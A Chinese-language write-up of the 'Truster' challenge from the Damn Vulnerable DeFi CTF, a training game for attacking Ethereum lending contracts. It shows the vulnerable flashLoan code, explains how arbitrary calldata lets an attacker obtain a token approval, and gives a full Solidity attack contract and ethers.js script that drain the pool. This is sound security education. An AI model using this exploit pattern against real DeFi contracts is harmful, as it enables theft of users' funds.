概述#
Damn Vulnerable DeFi 是学习以太坊 DeFi 智能合约攻击性安全的 CTF 游戏。
该游戏涵盖了闪电贷、价格预言机、治理、非同质化代币(NFT)、去中心化交易所(DEX)、借贷池、智能合约钱包、时间锁等多种 DeFi 场景。
这种类似 CTF 的题目的游戏非常适合初学者去学习 solidity/ethers.js 的开发。
挑战描述网站:https://www.damnvulnerabledefi.xyz/
挑战源码地址:https://github.com/tinchoabbate/damn-vulnerable-defi
Truster#
题目描述:
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
解析#
我们的目标是在一个 transaction 中取走 pool 中所有的 token。
我们来看看池子的合约
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
我们可以看到上述闪电贷在借出 token 之后用了 target.functionCall(data)
来调用用户传入的 calldata。
我们可以利用这一点去进行攻击套利。我们可以通过 target.functionCall(data)
去给 token Approve 我们的攻击合约,然后可以在闪电贷结束后利用已经 approve 过的结果进行 transfer token 的操作。
题解#
攻击合约: AttackTruster.sol
import "../truster/TrusterLenderPool.sol";
contract AttackTruster {
TrusterLenderPool _truster;
DamnValuableToken public immutable _token;
constructor(address truster, address tokenAddress) {
_truster = TrusterLenderPool(truster);
_token = DamnValuableToken(tokenAddress);
}
function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
_truster.flashLoan(amount, borrower, target, data);
_token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
}
}
it('Execution', async function () {
attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
const abi = ["function approve(address spender, uint256 amount)"];
const iface = new ethers.utils.Interface(abi);
const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);
await attackContract.attack(0, player.address, token.address, data);
});